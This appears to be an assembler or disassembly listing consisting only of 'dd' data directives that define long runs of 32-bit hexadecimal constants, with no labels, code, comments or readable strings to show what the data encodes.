dd 1803C300h, 872726B2h, 7085007Dh, 52C70FBAh, 0CB1C9E6Fh
dd 7E1099FBh, 5E382900h, 0B7D4516Eh, 340AE606h, 1DE8FF3Ch
dd 981CD5Bh, 0E004964Fh, 0B966434Ch, 2C816526h, 120C0410h
dd 761A4634h, 71C60061h, 0D13FE14Bh, 7F001277h, 5167E0FDh
dd 27FBEEh, 0BAA73C2Ch, 19094C8Bh, 0F30F7CB1h, 70A283BDh
dd 0FE80FCC4h, 97A7D7Ch, 196715EAh, 23F1EC90h, 0DF989903h
dd 89817703h, 627270h, 609A3200h, 0C2D352B5h, 0B444C300h
dd 0EF2AF7AFh, 66E50574h, 439EC77Dh, 47EBFCACh, 9F437A5h
dd 0CE2F090h, 0D0D7E700h, 321F0E23h, 28BF98FAh, 0E94778Ah
dd 3B7261E5h, 0AC51F27Fh, 0E3006C64h, 0F2BC0598h, 0A42557h
dd 43D4D632h, 0F502A084h, 40992932h, 416E047Dh, 1E07BA78h
dd 0E14C91D7h, 1C898C40h, 0BCB8A848h, 61DB005Bh, 1AF00CC9h
dd 361DE1F9h, 8A80D6C4h, 62653992h, 0A55500C5h, 0E5494C48h
dd 0C7377288h, 10699902h, 1CEEB744h, 0E733Dh, 2FCDABBDh
dd 7D006274h, 23BAAFFDh, 412DC78h, 6F9084F4h, 0DB688102h
dd 2025123Fh, 69335BE7h, 0C485F72Ch, 0A2002611h, 4B253C12h
dd 0F0EF2A9Fh, 0E0C37423h, 0DC1E6606h, 641A4892h, 1C7D7190h
dd 404B73C0h, 0F6DFFEDh, 943AF11Dh, 80A5828Ch, 0A1836F93h
dd 1567A290h, 9FFA7200h, 40209491h, 0D15EDF03h, 0D112CEC4h
dd 0C8962A13h, 0C8B4047Bh, 9497430Fh, 6448A470h, 667B6980h
dd 4C9B8h, 3C80C5F9h, 0FF19958Dh, 261BA316h, 217AE10Fh
dd 79BFBC93h, 0AEF19474h, 81050B44h, 7E05452Ch, 88F48595h
dd 321E2D78h, 702CDB48h, 0D16D1B80h, 0C4F97D71h, 92C01589h
dd 1A078A34h, 5C7D183Ch, 0AC184CFCh, 58062934h, 9A5C5Ch
dd 0B73C8963h, 7EFB0D5Dh, 169604AFh, 861EA8DBh, 3A00A1A8h
dd 36A49C47h, 5850AFDh, 7C975673h, 0E6A80527h, 0EB902007h
dd 0E53D78A2h, 96BC9CA8h, 9813E78Ah, 98004791h, 20F28D9Fh
dd 0E0506EBAh, 64449CD0h, 0AC991Ch, 77255D85h, 0A900C236h
dd 86607BD5h, 14A05ABh, 31D2E582h, 0E726613Ch, 0E0AC3039h
dd 2D324F89h, 815C3F42h, 75D81401h, 0E0DD4B7Bh, 78C8D42Bh
dd 560119Dh, 398FFE3Ch, 843384C8h, 3D7744h, 0C4995809h
dd 0AEC919C8h, 591CE716h, 0B442531Dh, 0C47D09D8h, 4630EF4h
dd 49A7F545h, 88A27580h, 40917A3Ch, 0AF829A80h, 0C832A84h
dd 0D5ECA6E4h, 4E53130Eh, 69860398h, 26F19694h, 2924F630h
dd 85E50018h, 52A0D8E7h, 0C417662Ch, 60918B44h, 4024E914h
dd 0C8A850E4h, 40D1D4AFh, 6D04F16Fh, 6C68C286h, 9785C50h
dd 8561E409h, 59E406ECh, 979A1929h, 201C50EDh, 189A9967h
dd 90722A45h, 0EBE5007Bh, 880D5A8Ah, 3517AAFBh, 5430E955h
dd 98CA94DEh, 87F63EA0h, 0F87FC800h, 0D86DB3CCh, 16293E00h
dd 1B6EE3A8h, 8050B99Ch, 6B270DCh, 9E1C59E7h, 0A4C003AAh
dd 1165883Bh, 0FCA88B21h, 8C486607h, 4B022250h, 5F18407Dh
dd 17C47E76h, 0F6575900h, 0BCCB367h, 0DD4150E4h, 33D7760h
dd 7384D713h, 0EEA8889Ah, 41CCA893h, 1BB1829h, 9713E9ADh
dd 116B2A5h, 4237B85h, 0C9F4C807h, 53DB42EDh, 0BBAFBCE0h
dd 0E34F9309h, 9AB068ABh
dd 6D7400E0h, 67029730h, 48F2F93Dh, 1041EC0Fh, 9C297F24h
dd 20701C09h, 764EB60Ch, 41960002h, 0DA646AD7h, 7B2412FEh
dd 85603813h, 1DAC69CEh, 6EE5710Eh, 0C42428F1h, 8C8F53EAh
dd 571BFF34h, 0C2282D0Eh, 0DD0E08Dh, 401D8964h, 3E43BA3Ch
dd 8780603Fh, 4CE83877h, 0A7662F40h, 908A3CD7h, 0F1844100h
dd 4A5DCAA0h, 10489C4Ch, 7C4C3A1Dh, 5E2049C1h, 0A2F640F6h
dd 0C0006A23h, 80F3B899h, 1FEFBC8Dh, 0FF658AB3h, 13C8285Ch
dd 0C0747D94h, 55452D73h, 9D4B075h, 0A393FF51h, 81DD891h
dd 0BEE800ACh, 0E0E6FE17h, 0A70F7498h, 2092F675h, 0E4DEF1F2h
dd 0A240F088h, 70A482FCh, 0C2F8802Bh, 5C09FA3Bh, 31886805h
dd 0C05D7944h, 64EC21Eh, 93016CC9h, 9C0F14CFh, 5C433E1Ch
dd 12ED99DFh, 44DC11A8h, 0E5773C27h, 6837F9h, 8A4B0D28h
dd 1F41C50Ch, 80975D09h, 1ABCCFF0h, 19306E30h, 6510814Ah
dd 4C41EBB9h, 0AB0114E0h, 54BEE4D3h, 10F88E12h, 0CD7A8091h
dd 62240432h, 0E33F0750h, 80742549h, 96ACEC1Ch, 1E842840h
dd 80D94B2Bh, 0C7DEB011h, 997D74B7h, 2AAB4000h, 0C1F0A1A3h
dd 42972CE4h, 2BEA6038h, 4C0F8235h, 0BA84F1h, 0D41E09C8h
dd 41240578h, 830E287Ah, 7B4C5F4h, 7920E489h, 12D7F9CDh
dd 90E63B9Ah, 0FA179424h, 5FEEB00h, 44218482h, 0DD60303Ch
dd 819A75C9h, 0AF18312h, 1C885090h, 0F28B8846h, 8491ED0Bh
dd 0E4540A5Dh, 971482BCh, 731545BCh, 0FA16A4h, 4F572DBCh
dd 7904E873h, 701C10C1h, 42CD895Eh, 28976102h, 0A10DD3E0h
dd 0C3CBBD04h, 0B8F41C3Ch, 85C200EEh, 7DCFA2A4h, 88014D87h
dd 0D8DE65Fh, 6C22F83Ch, 0F2783Fh, 8C6715EDh, 7FD093B3h
dd 0C856030Ch, 940D88Ah, 9A552E82h, 5DAB4482h, 0C6C008CBh
dd 0E632804Bh, 0A1772886h, 0E21A0484h, 0C00424h, 0E10D2A2Ch
dd 1D8C619Bh, 6880DC94h, 5274B8D5h, 37620173h, 8766E575h
dd 7A14D0F1h, 5891F226h, 0CC1B5E4Eh, 0F892C539h, 87A08551h
dd 327AD44Fh, 199AF420h, 0B2ACA87Fh, 59A900A2h, 4356ED1Fh
dd 13132E3Dh, 6CD1840Eh, 821429F1h, 4611767Ch, 98782110h
dd 0E571123Fh, 6C83C478h, 0E97900D7h, 9FBFA274h, 50B0910Bh
dd 8154E054h, 0E02E1C24h, 2A288542h, 68912520h, 9E3081Eh
dd 0A296ABE2h, 0C8C0A412h, 0EC09E113h, 1263DF73h, 7D3C83A4h
dd 0B8390924h, 8155AA6Fh, 1AA19C11h, 2F00142Dh, 4D2D5A69h
dd 0C00010E4h, 16EBD50Bh, 13738Ah, 429385E3h, 3D38AED3h
dd 0DBB78917h, 82F6F841h, 883C8481h, 790E0780h, 0BC03EE20h
dd 9512F71Fh, 0A130F84Ah, 387802DAh, 3950E7B7h, 0ACBB40A0h
dd 0A1FE4CA0h, 703DCAE6h, 13D80279h, 0AF3CD9ABh, 33FC0D8h
dd 9EB069BDh, 0BF8280A8h, 0E5742AD6h, 4E003AECh, 0CAE92097h
dd 1838904h, 0AEFA78BEh, 0E118B192h, 80643873h, 0D2DA0EB7h
dd 788B00A6h, 4F0FDCB3h, 0FA00AA9Fh, 1BF074Ch, 113B6795h
dd 90AB85h, 0DACCC94Fh, 5A8941Bh, 9178A0E9h, 4358D28Ch
dd 95363C40h, 8BA46100h, 3BD09A13h, 6ABB01A0h, 3F5E8D84h
dd 74CC1465h, 3C62021Fh, 0E3100B85h, 1B003851h, 0DA751253h
dd 81B70746h, 0E0BF6141h, 0F7196647h, 0E440795Ah, 6D99FA67h
dd 40E3E0E5h, 5F0E0814h, 0A986C13Dh, 39C0907Dh, 0FC3800F2h
dd 0BD117117h, 90988EECh, 0D203C098h, 0F97BBCAAh, 0BCF140E5h
dd 3C37F605h, 10A86CB0h, 31A90060h, 2BA899F0h, 0A53F93E5h
dd 0AB91E49Eh, 0C628A4h, 0FB4389F6h, 0CB0DBFFFh, 63AD9201h
dd 739A14ACh, 0DF544C50h, 0AFB001A2h, 59EDE338h, 0AEEC70E0h
dd 0AAE4E216h, 4806D808h, 0EF040030h, 0B10DDE2Eh, 3D1B071Fh
dd 993810EFh, 2E512E84h, 405300BEh, 4D1996D0h, 204EC0AAh
dd 95430478h, 7D38973Bh, 0D4800BA5h, 8396F805h, 474CAE14h
dd 71F507ECh, 93A049FDh, 8978D1h, 0B329EA73h, 2B26777h
dd 0ED0010BCh, 1C8C0974h, 0AA61C07Fh, 3BB4A905h, 0E4E5D9F3h
dd 270BE736h, 8D4AFCh, 7AE893ECh, 585A4CF9h, 0B78074C8h
dd 47D0B5Dh, 0DDC31618h, 0BE5A072Bh, 0A64A8070h, 74B6A881h
dd 0B9364080h, 0C1578AECh, 0D964CA8h, 3DE0824Fh, 6634B866h
dd 0AC11F138h, 0BD418790h, 6A82C140h, 0F163E0E3h, 0F53424D9h
dd 2CF8176Bh, 0E700560Ch, 8F2F4007h, 0DF36C5h, 418306C8h
dd 1178F86Ch, 92CAD214h, 0C0584C8Ch, 0CD906263h, 0F6990049h
dd 11A6773Eh, 8F4DAC4Bh, 0E97267Ch, 1B5CA92Dh, 4E84A038h
dd 9E2800EBh, 0DCF14893h, 1800ACF0h, 1D6AAA0Eh, 5373E96Dh
dd 0F500A0CCh, 0AAE81EFDh, 0F67A21D4h, 7267C400h, 0A3F9FC6Bh
dd 38AB308Dh, 9B3D9561h, 9705D174h, 19EB753Bh, 330088h
dd 28B68C6Fh, 3231F56Dh, 0F1005AE8h, 5489DE52h, 28B1092Ch
dd 5BC8267h, 0E9747BC1h, 1464E419h, 21182600h, 2E55A8E1h
dd 0B2B7D0Dh, 6381C501h, 0EC0030E4h, 25D19A4Fh, 289620Ah
dd 10D41184h, 0C0585B12h, 0BE974017h, 7C842C90h, 1FE6ECC4h
dd 0C2162EFh, 97D157C8h, 1CB1BB7Ch, 81D3F100h, 9E720BD5h
dd 36A9D88h, 0DCA7B608h, 15241EC9h, 0A6161008h, 0E8817C4h
dd 1D044688h, 0ADC0C270h, 8CC1F4E2h, 1666114Ch, 6288BC68h
dd 21B32743h, 12084828h, 70E0B022h, 5E0BC6CFh, 172B78Dh
dd 23D29744h, 323B1A30h, 0AD3960E7h, 6A0E0464h, 20A51F21h
dd 0E7F256B0h, 2A8A3059h, 999D36E4h, 0C77BB712h, 4C192C88h
dd 4988C40Ch, 6D85D280h, 44A695h, 0BBED1E7Bh, 0F356B950h
dd 0D40C1502h, 797D66E0h, 77626194h, 571B3043h, 10E5FA01h
dd 0BAB96667h, 47A2029h, 0D23BC15Bh, 0ADB8C0B1h, 0F9F0DD71h
dd 0AC130C99h, 95694820h, 96090037h, 9A2708C6h, 810576C7h
dd 5EFE5B4Eh, 7CD6B801h, 1431D0FCh, 7BE14031h, 58AA9458h
dd 7019440h, 7281B920h, 2D9C22FFh, 1438A07Dh, 0A66311h
dd 0F2D93D2Eh, 4813552Ah, 92539409h, 28286871h, 0A4DE00DFh
dd 80EDDD0Fh, 0BC004840h, 504A5DCDh, 441C84BAh, 134E6604h
dd 7A2A7C41h, 303C9BFAh, 2B46E483h, 0BDA984D8h, 6C20894Ah
dd 0B8D8737h, 365FBCA6h, 90A76C80h, 0DB5CF116h, 0CC702E34h
dd 7A1910B2h, 9A3E0084h, 68B73B1Ch, 0CA00A869h, 0C360C264h
dd 3B59C136h, 101713C9h, 0EBE4888Ch, 3668C000h, 0EF3C1279h
dd 16890369h, 991C5CECh, 5F32C3E0h, 5E07C8A6h, 9BB0AE12h
dd 0C42F48B0h, 87609419h, 218EEB40h, 27A8A709h, 13B8236Ch
dd 0A198D475h, 1D3423E4h, 1A4C58E2h, 798BE86Bh, 0D87D486Ch
dd 2264BF1Dh, 720DFC96h, 0E0F261F1h, 0E13E7C1Ah, 22084CCh
dd 0D7876766h, 9090BA97h, 31C07E1Ch, 0D046A6AAh, 0BF211C71h
dd 1591403Fh, 0A85D923Eh, 3460192Ch, 66E02FC7h, 0B0F145h
dd 8C01D9C7h, 0D8A4E37Fh, 373E7706h, 8939ADh, 511CA1C0h
dd 0ABE349B6h, 180D096h, 0C4BADAECh, 0E8120F69h, 47821064h
dd 0F061AF72h, 0BA41830Dh, 80E643CAh, 980E6Eh, 2357562Eh
dd 0ABD48E31h, 0D7639A05h, 0F1C166CEh, 402A7D4Dh, 7A0D9584h
dd 401C75FBh, 0CECF8226h, 3051AB1Eh, 90689E14h, 1A3500BDh
dd 7D6EC9E6h, 0F200D4B9h, 92C1A10Ah, 7B51FE66h, 0C6E41BE5h
dd 40E4C9E2h, 630201D4h, 87B60032h, 51542709h, 0BEE561h
dd 852D640h, 0F0CA1FDFh, 58A02FD1h, 79DE6439h, 76EACF00h
dd 773EDF5h, 46FA4B3Ch, 0D0787CB0h, 15E97D1Ch, 8C76F180h
dd 4ADEF984h, 0EC088810h
dd 0E10A2400h, 0FF75070h, 1ADD00E5h, 7ABF32C4h, 0FB0EABAFh
dd 49658510h, 809C5B4Fh, 0BC5B7334h, 4E00C2A0h, 2E086362h
dd 30DDAB6Bh, 29310465h, 7005938Fh, 9C1BD8F1h, 27005CF2h
dd 20A0BDCAh, 0A1276D0h, 40007567h, 419071CEh, 0D1BE187Ah
dd 26108081h, 3DA288h, 6F590C75h, 84FE132Ah, 63903995h
dd 0CB38A310h, 88D2DA00h, 2E1DCEACh, 30F51F3Ch, 5733008Bh
dd 14E965DFh, 43085C8Ah, 0E19827A2h, 9107AA3Dh, 0E0FDF660h
dd 708B43D2h, 6290BE4Ch, 0A85A1F66h, 29128258h, 8F85E477h
dd 0B0815BDAh, 0B200E51Eh, 31C0247Ch, 1BBB6BA3h, 45B7CD5h
dd 85E7E39Fh, 211884E5h, 3CBB66E8h, 972DA0C4h, 2FC00002h
dd 0C10FE317h, 195B72ECh, 61E47C71h, 255BC428h, 0FC7830F4h
dd 0D81D9DEFh, 0D40B04Eh, 536E4276h, 0B8850235h, 19125517h
dd 6F2C6072h, 0D43B1004h, 6C7866C8h, 6822E04Eh, 820016A8h
dd 19443289h, 40E6AC83h, 784014ABh, 193287Ah, 6040444Ch
dd 691A2B00h, 8381D2F5h, 0F1CE0084h, 0CD112E2Ah, 0A200A128h
dd 0E96C6239h, 80F76F94h, 0A4B33CD2h, 9A1B2580h, 6247E31Dh
dd 66D0C975h, 509304F0h, 36CB0C00h, 0E46206E4h, 7C260021h
dd 0A25E7803h, 962CBF45h, 0EF008073h, 613BBA65h, 540795E3h
dd 45BF707Ch, 23132B63h, 0AC00D410h, 94089383h, 1CA84CFFh
dd 2B7DE480h, 0FE009218h, 0A9A0FABAh, 0F8D1D4B2h, 0B4B8077Eh
dd 7C738CEDh, 77003AC9h, 0DA7F456h, 0BDC75Ch, 930F1721h
dd 893E53E6h, 181088BEh, 909DB51Bh, 0D8F1E82Ah, 5F761F40h
dd 72F0483Fh, 0F0524A44h, 0F9019CDAh, 0AFBFC337h, 286C890Dh
dd 0DC63AD80h, 5A006756h, 0F2CAE853h, 13A8090Ch, 30EFCE13h
dd 0AA59D78Ch, 0C6F74100h, 3831D88Bh, 0E2FE029Ah, 33EE9B56h
dd 0A4C0C9C2h, 64488C02h, 0FF505088h, 30A4A9C5h, 1EAC4E4h
dd 777EA226h, 0EF1FBA74h, 205111EAh, 88936111h, 7A4DA094h
dd 0F9CBC004h, 14B6EA5h, 83EF49FDh, 0E8B38A92h, 784ADFF1h
dd 685C2097h, 166511EDh, 0B02A2821h, 0A870A26Fh, 95AC0939h
dd 6F6214A0h, 1A4CB754h, 83AB0287h, 0F9EEDD6Bh, 58BD14FCh
dd 8894E725h, 2AD59500h, 0C98DDBBCh, 2AFE4877h, 30643838h
dd 2E9B2271h, 4CBCAE20h, 1095518Dh, 8004C110h, 0EB049775h
dd 1113270Ch, 0E0240082h, 4150F9D4h, 10D84022h, 964C9774h
dd 467A8B50h, 402B4C20h, 149B74C9h, 5847DBB8h, 82121400h
dd 5D23C9C0h, 9BB5A2Eh, 0D4844E18h, 883F30B9h, 0E1453EBDh
dd 0C1811737h, 74738A79h, 0DF328DDCh, 213880F8h, 7C8766EAh
dd 708516ECh, 6BA174C0h, 0A8842C6Ch, 40DF4EF0h, 503B78FAh
dd 0EC005B3Dh, 46B8C18Bh, 6AF96BDh, 4B8272CEh, 930A40CDh
dd 0C812A16Fh, 52DE511h, 0FF3C1C82h, 14103059h, 6141FCC8h
dd 76EE03BAh, 0D5A94004h, 23092EEEh, 0A27C8A80h, 867A930Ch
dd 5839C9C8h, 0FA10147Dh, 21BA844Dh, 0F2B01645h, 86251690h
dd 38999A01h, 90EF1492h, 4CE5D02h, 0DBE2EA6Eh, 8814F087h
dd 0FB8AFF02h, 0E0293DA1h, 0A4E672F0h, 849880A0h, 0A197174Fh
dd 9C80887Eh, 0AA2569DFh, 0C43C9020h, 0A9BD00FFh, 1981AEA5h
dd 0F4027B71h, 50D9B326h, 2F345404h, 0DBF95093h, 2494DC91h
dd 0A41B5904h, 94F32F93h, 1DA14200h, 0B87406ECh, 5872AE00h
dd 0E5F9E982h, 66640904h, 402088B9h, 0ACBEFE2Ah, 47763B02h
dd 8349BC97h, 0A40BFA5Ch, 18018E9h, 0FC6092D5h, 410F901h
dd 550B1AC4h, 0D74490DBh, 2069250Dh, 4B00C8C4h, 34EA7912h
dd 50B396FEh, 9566A4ADh, 397D1403h, 783D2958h, 772D5800h
dd 7A336C8Eh, 209D4B94h, 0E4A2F634h, 937D7009h, 6D682095h
dd 1E9BAF97h, 4CE34031h, 1A51491Dh, 7004A09Fh, 906854A6h
dd 45F498h, 0FAD9C52Eh, 13D6217Eh, 61581406h, 4240B58Ch
dd 37F223Bh, 0CDFFB004h, 75D098EAh, 78D54908h, 31FC9DD4h
dd 0DBB33167h, 9E124F3h, 0ADE609E2h, 0A0976C21h, 0B4702A75h
dd 83769Dh, 25325AA3h, 3551F2C2h, 137CF902h, 9E18EEAh
dd 5029D484h, 0F47F2CD4h, 1D36750h, 36E57E3Eh, 28C1E4B0h
dd 66480F7Ch, 81E8788Ch, 9A3D04FCh, 0C0FB0AA8h, 1D743FBCh
dd 0FC756338h, 0EA407494h, 0AE70F6h, 6931FAF9h, 837971A8h
dd 8439E475h, 0EA730245h, 0E617603Bh, 80A08594h, 17E978CCh
dd 352C2DC8h, 121206DEh, 177EACA2h, 0C85906F1h, 0C2019064h
dd 66D68047h, 0B370A71Bh, 4B8D7D5Dh, 189C8A12h, 48C0A547h
dd 0FA2F073Bh, 0F067B091h, 6436C033h, 1CA14B00h, 4A757D8Bh
dd 558301E6h, 0AB849FF1h, 9778647Ch, 0D84CBF24h, 7C890E64h
dd 24BF6800h, 0E3B60EE4h, 0F2408786h, 0B18B0423h, 0DE4AB778h
dd 430B88Dh, 743B07D3h, 4333A19Ah, 83DCF435h, 51095306h
dd 0C54DE43Ch, 0A20502B0h, 8856208h, 318C3089h, 0B00A40Ch
dd 0ABA66830h, 9022FB72h, 389F4594h, 0D5A78AFCh, 8E6BE002h
dd 98244C73h, 38125414h, 0B8F90184h, 9C1B6167h, 0BB20884Ch
dd 20019332h, 0C99E4A3Ch, 93192E0Eh, 32B2A322h, 708E8816h
dd 0F48B4CCCh, 529A6C00h, 623BE574h, 1D381095h, 0CBEC0053h
dd 7385395Bh, 664C14BBh, 69563044h, 9993A216h, 0E7381210h
dd 0DF0B00F8h, 2EE5ED5h, 697032Fh, 4C7CB232h, 211A2125h
dd 9448E424h, 8FC670h, 75E77AA5h, 0DB04E0EAh, 2AD14205h
dd 9C1E62FAh, 23F2F88h, 7869BF09h, 11936CE9h, 4040B866h
dd 5AF0E589h, 9AC98DDh, 0A38D3F0h, 90DC9405h, 50B9111Ch
dd 70A5160Ah, 113DBA64h, 14602280h, 0D5712D0Ch, 0BF9A3400h
dd 19094712h, 0A04F8B58h, 5C5DC0C8h, 0F18B18EAh, 0A8088059h
dd 28F0A464h, 802C9100h, 0B44FBC3Dh, 2F3B9621h, 825782B5h
dd 82F7AC34h, 277CBD20h, 7C856B85h, 0EB7041E6h, 944EFC3Bh
dd 9FCCAC11h, 8912560Ah, 91CF9709h, 402BAB84h, 0EB998EC8h
dd 0B090BF0Dh, 0AC8A0600h, 0E01E0BCCh, 1F200111h, 969E197h
dd 18206E67h, 5CB42343h, 70015CA9h, 34D0C861h, 1D91ACDCh
dd 0ACADB90Ah, 96E67A41h, 0E0A16441h, 0DFFF9048h, 0E33B0351h
dd 26D0F9EDh, 0C4B1A885h, 40EA3600h, 0C46366h, 8E6DF850h
dd 0BF3B7784h, 0ED0B4C99h, 1B50190Ch, 9E6CFCh, 0B7B9B164h
dd 920DFCE7h, 80E8194Ch, 30A5ADDh, 6626016Eh, 0DB86D74Bh
dd 9D43989h, 82960DFDh, 52389ED8h, 0C8B94B18h, 0F88B7FBCh
dd 68DE14h, 8BB7A8B0h, 37D3DBB9h, 29E55F04h, 4AC5C12h
dd 0D2147E80h, 1802CDAAh, 728937ABh, 1E48EC93h, 3CA2B885h
dd 1F809A6h, 37E57317h, 0B871A3h, 0A6E48924h, 0D84B4701h
dd 0D13E562h, 0B7A4202Fh, 0F65C8AF0h, 503E00C4h, 0D0E8548Eh
dd 5FAD1DD2h, 0E6EB4FE0h, 0FA3C3982h, 759F90D4h, 21A809C1h
dd 186188E7h, 27E9B018h, 48919A0Ch, 722370B7h, 6B67F302h
dd 7C2AAC5Eh, 51C2494h, 88AB8521h, 0B8008A80h, 270E354Fh
dd 732E91Eh, 0EABEED95h, 0F78C2010h, 692C17A8h, 0BC2078CDh
dd 1BFF3B1Ah, 547999h, 71C2EB19h, 1F0030DFh, 0D8F30394h
dd 2634931h, 3D66E8F4h, 87126BEh, 7A12FC03h, 0FB5EA077h
dd 61080096h, 0F5CDD95Dh, 191360D7h, 0A4A713AAh, 0F05C7E00h
dd 28DAD4A1h, 0BD07C57Dh, 2A7A69A7h, 44A5CB24h, 0F280A07Ch
dd 4A99EBC3h, 0CE4F3300h, 5CCB7B80h, 162CA822h, 25B80355h
dd 0FA4C6F78h, 430E3D98h, 0CCBAED2Ch, 78D63Fh, 0D7BB505Dh
dd 0BAD605h, 5136F099h
dd 59B5AF25h, 0A19F4E01h, 0E307E1E5h, 0CE073C63h, 60168A8Eh
dd 81F0394Bh, 0F828BD28h, 4820385Ah, 0D68BD5h, 34962045h
dd 36D3B6DEh, 0A56FFD04h, 54222A2h, 60E0427Eh, 898210A7h
dd 0E01C10CCh, 0FCBE00F3h, 4B98D40Bh, 6300B122h, 84D403Ah
dd 97DD5Ah, 0EAFC7627h, 96E515CFh, 83266BE8h, 74204034h
dd 0DAB5060Eh, 523500FCh, 380382h, 46EB9A94h, 1C27FD0Ch
dd 661F8600h, 6D131EACh, 7526273Fh, 0E1548090h, 0C8C72200h
dd 0AB38C69Dh, 0FDEE0010h, 3E0B7A73h, 57136F17h, 44B82BCh
dd 81702E15h, 0D87D7CE9h, 1624F428h, 41A02ED8h, 0D96B2C17h
dd 0DBDAC037h, 53E087E1h, 0CE51695Eh, 0C6FE0525h, 0C491B73Ch
dd 0CE0AC43Eh, 0D8A0C10Bh, 0F2086E2Bh, 606E01BCh, 25D2995Ah
dd 0DC3BD109h, 330B0362h, 19937AE3h, 20D2B91Ch, 8C427DECh
dd 0F0001D42h, 0C054348Eh, 0AC01F66Ah, 0F18CBD35h, 202AC37Bh
dd 65CD8098h, 0E051B100h, 7D38BC0Fh, 559B004Ah, 901A5363h
dd 814CC652h, 0AFA2C06Ch, 0DD09C0h, 0FBF00E82h, 84EF8E1Eh
dd 67EC8717h, 15FD088h, 0D309DA3Fh, 70717C69h, 61627DF0h
dd 61757908h, 18503A64h, 1B39CBFh, 8901CD82h, 7610E4BAh
dd 0B9FD408Ch, 6F3A8E01h, 47E5B883h, 0A0304831h, 2A85887Dh
dd 683EA001h, 3C81E570h, 0FBCC7BF5h, 9108B918h, 78884B32h
dd 5E8E00C0h, 4B7421E0h, 990517EBh, 0D8340C83h, 0D98070A8h
dd 9D72E4E3h, 16966100h, 20406E8Ah, 741925A8h, 0D84B80E1h
dd 5412FE81h, 108C3B66h, 0F49686B9h, 3C172311h, 0EDB43560h
dd 0D0D5C514h, 0F4C2A8C4h, 803C7376h, 7C4275A8h, 0F200E9CEh
dd 2B080B6Ah, 489DC188h, 2922CC52h, 0F7261000h, 58D269B0h
dd 660C0050h, 0BA33E587h, 999F86C6h, 666F8A5Ch, 0A700B04Ch
dd 62F183E4h, 128C2E81h, 0C12BBF08h, 67A0D64h, 22BA4F28h
dd 9410FE00h, 49680169h, 0F6823BD7h, 0E26C604Dh, 0F896F726h
dd 0F898C02Dh, 6C618A48h, 0B840822h, 70A39720h, 51B050CEh
dd 17005EE6h, 79AE524Eh, 0E9288Ch, 972E8083h, 7DF67204h
dd 30FA91CAh, 71851191h, 1CC40B7Ah, 0A54EA8F1h, 0D88C4DFEh
dd 0FDE10087h, 0EE5FFC52h, 596B1996h, 0DB540299h, 1E8594Ch
dd 0E9E33C03h, 861AFC69h, 2B671512h, 9A0170B2h, 0E51019DFh
dd 201270E2h, 483D227Dh, 0BA510201h, 78A8B3C5h, 94155120h
dd 91E58430h, 95678418h, 326C857Dh, 6718FC28h, 0ACED0C53h
dd 6D2020EAh, 66251709h, 1194911Eh, 786C6061h, 12141982h
dd 0AF6053h, 696261F4h, 337098E2h, 0EA41670Eh, 0FE3BA012h
dd 70C2B4A3h, 0F6C0EB97h, 0F9F0FC13h, 283CE331h, 0C822611Eh
dd 3E4FCB80h, 200A0F4h, 5BFC475Fh, 0C8B3B7F1h, 45911438h
dd 0E4FF3C12h, 9244AC40h, 667D2Fh, 3995A6CBh, 0F96414EEh
dd 28C5AB16h, 33E38F6h, 0E73CB585h, 0EAD045ADh, 8B248C74h
dd 43762E00h, 32F31C7Bh, 0A92B00A7h, 3F4518CCh, 4707B0CEh
dd 0AC8246A6h, 56F81A59h, 0DE2F78D4h, 0E8CA90B6h, 0BBC27937h
dd 72892217h, 0A0208451h, 0BB743302h, 404875ABh, 811089BCh
dd 0C0691Ch, 0B11EF314h, 0E0D995Ch, 38E3FA3Fh, 9C380853h
dd 180BFC45h, 8DC848ACh, 8704078Bh, 0D51E9B48h, 0FA604812h
dd 0F1ED61C0h, 883D4B5Bh, 7000BD14h, 9E949A25h, 2475FE79h
dd 60841596h, 0DEFF97AEh, 19F74F09h, 10502698h, 9EC7449h
dd 0FF7A14C3h, 979AF048h, 8F22416h, 5D44005h, 8400FCB6h
dd 10F91F9Dh, 0DD1DD16Eh, 0BB5E1CDEh, 14BA9785h, 1B938A0h
dd 6003A1F4h, 9F98222Fh, 4C5397C0h, 320F00B6h, 0B8523EA4h
dd 693900FDh, 6011853h, 4A87FCCh, 2681CD6Ch, 6054C176h
dd 441C08FAh, 0B7040521h, 0E0731378h, 5900A4B2h, 5D66EAD3h
dd 8600727Dh, 0C1C7E244h, 0F61BDF8Ah, 0B0480707h, 453F6260h
dd 9534CC64h, 9AE0B200h, 27ACAF9h, 0E9C90020h, 50E71C1Fh
dd 51284BB4h, 85009CF2h, 0FE397D90h, 0E37E55Bh, 789A7C0Fh
dd 8A238BC2h, 257FB840h, 41E41AB5h, 202E8FB1h, 0A3F8A278h
dd 1985B609h, 4CD0FA90h, 0ACD10C94h, 0E284214Bh, 0FAC4C09Fh
dd 0D690C1Ch, 131A2AC2h, 51F0C28Bh, 0A3000BCh, 468E277Ch
dd 0F5415600h, 3CC71184h, 33CE4B7Ah, 0A949EC74h, 0FF3FC23Ch
dd 3C88DC8Bh, 343C1792h, 806CB2FCh, 91DE01B0h, 0F68C0B7Dh
dd 0C0C87CB1h, 4438AF3Fh, 6A6B8070h, 6979D40h, 85B226CDh
dd 66380E2Ch, 4F8CB236h, 0C715880h, 1B7C92D1h, 584D1110h
dd 1BC887B4h, 0E1BB4081h, 0CC781014h, 0CB840A8Bh, 0BE721C6h
dd 38F02CA2h, 45901097h, 1B3B01D8h, 57D59692h, 16D2E8F7h
dd 0EC1F431Eh, 0AD461802h, 40B85526h, 0B009BFFh, 610358B7h
dd 26A997DEh, 409C19B2h, 0E677B589h, 84AE0507h, 94A02A4Ah
dd 7BAB6979h, 1788D243h, 731C201Ch, 1C22729Ah, 0E93F004Ch
dd 5B25D021h, 4F2E5E77h, 102FA4C3h, 2FFA2A0h, 8EE04BCAh
dd 0B864C872h, 9897977Dh, 9B39788Ch, 9B2D03C8h, 71A93B02h
dd 0B6AEF84Ch, 2CD7B324h, 0E225A02Ch, 0EB24F890h, 43C0FCE2h
dd 57889B68h, 59007E73h, 2964D286h, 0B8ACECE2h, 876704F4h
dd 0BC04DEF9h, 0C9C281ACh, 0C7F8BCA9h, 43B700CDh, 0FCA705F2h
dd 855F89A6h, 20A38420h, 528E07B4h, 307C60E2h, 817822F4h
dd 92D7C100h, 0C5B0208Fh, 79120084h, 828BFDDCh, 812541F1h
dd 0DB7CC81Dh, 0C71A0385h, 7A230CAFh, 0A0ECE8ACh, 3C1B62Ch
dd 0CD2F9067h, 0A4F01A6Ah, 922EBD5Ah, 18C9B87Bh, 770A69Ch
dd 1AB23822h, 9013708Ch, 7C01E3CAh, 613C6FE5h, 88646BBBh
